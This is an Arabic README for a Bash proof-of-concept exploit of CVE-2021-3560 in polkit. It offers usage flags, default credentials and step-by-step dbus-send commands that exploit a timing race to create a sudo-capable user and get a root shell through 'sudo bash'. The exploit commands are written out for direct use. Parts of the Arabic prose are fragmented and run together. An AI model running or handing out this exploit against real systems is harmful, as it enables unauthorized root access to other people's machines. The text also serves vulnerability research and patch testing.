
نص برمجي آلي بلغة Bash (PoC) لتصعيد الامتيازات عبر الثغرة CVE-2021-3560 في polkit. يستغل حالة سباق التوقيت (race condition) في dbus لإنشاء مستخدم بصلاحيات sudo والحصول على قشرة root على توزيعات لينكس المعرّضة للثغرة.
هذا مجرد سكربت PoC بلغة Bash، يعمل على أتمتة خطوات الاستغلال المذكورة في مدونة Kevin Backhouse. اقرأ منشوره حول هذه الثغرة: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice وgnome-control-center عليها، ويجب أن يكون لديها polkit الإصدار 0.113 (أو أحدث) أو 0-105-26 (نسخة دبيان المشتقة من polkit).Ubuntu 20.04، مع polkit الإصدار 0-105-26 (نسخة دبيان المشتقة من polkit)، وعلى Centos 8 مع polkit الإصدار 0.115. إذا كنت متأكدًا من أن هدفك معرّض للثغرة، لكن وظيفة الفحص في الاستغلال تفشل، فاستخدم الخيار -f=y لتجاوز جميع الفحوصات وإجبار الاستغلال على التنفيذ.يتم تقديم شرح شامل وPoC لاستغلال هذه الثغرة يدويًا بالتفصيل في مدونة الباحث.
الخلاصة المختصرة (TL;DR) لهذا الاستغلال موضحة أدناه:
polkit بإرسال رسالة dbus، مع إغلاق الطلب فجأة بينما يقوم polkit بمعالجة الطلب. بعد ذلك يمكن للمهاجم إرسال طلب ثانٍ باستخدام معرّف الناقل الفريد للطلب السابق، لتنفيذ الطلب بصلاحيات UID 0 والمعروف أيضًا باسم root.polkit، لأنه يعامل UID الخاص باتصال يحمل معرّف ناقل لم يعد موجودًا، على أنه طلب قادم من UID 0. وهذا يعني أنه إذا تمكنا من توقيت الهجوم بشكل صحيح وإنهاء طلبنا الأول في اللحظة المناسبة، فيمكننا إرسال الطلب الثاني بصلاحيات UID 0 والمعروف أيضًا باسم root.كما قلت سابقًا، هذا مجرد سكربت bash يقوم بأتمتة إثبات المفهوم (PoC) الخاص بـ Kevin Backhouse. الأوامر الأساسية هي نفسها؛ لقد قمت فقط بأتمتة بعض الخطوات الأولية (مثل ضبط التوقيت الصحيح، فحص الثغرة، إدخال بيانات اعتماد مخصصة، طباعة ألوان جميلة، وما إلى ذلك).
إذا تم تشغيل هذا السكربت دون أي معامل، فإن السلوك الافتراضي لهذا السكربت يكون كما يلي:
/etc/os-release.]accountservice وgnome-control-center. [في توزيعات rhel/centos/fedora، يستخدم rpm -qa، وفي توزيعات debian/ubuntu، يستخدم dpkg -l].rhel.centos,fedora، والإصدار 0-105-26 لتوزيعات Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> مع كلمة المرور المقدمة للسكربت، ثم إدخال sudo bash للوصول إلى شل بصلاحيات الجذر (root)!Esc لإغلاق نافذة المصادقة، واضغط Ctrl+C لإنهاء السكربت بسرعة.$t) بقسمة الوقت المطلوب لإرسال الطلب على 2. ($t=time-required-to-request/2) [يتم حسابه باستخدام awk]$t)، يتم تكرار طلب إدراج المستخدم $username secnigma على الهدف 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma]، فسيتم إنشاء تجزئة لكلمة المرور [باستخدام bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!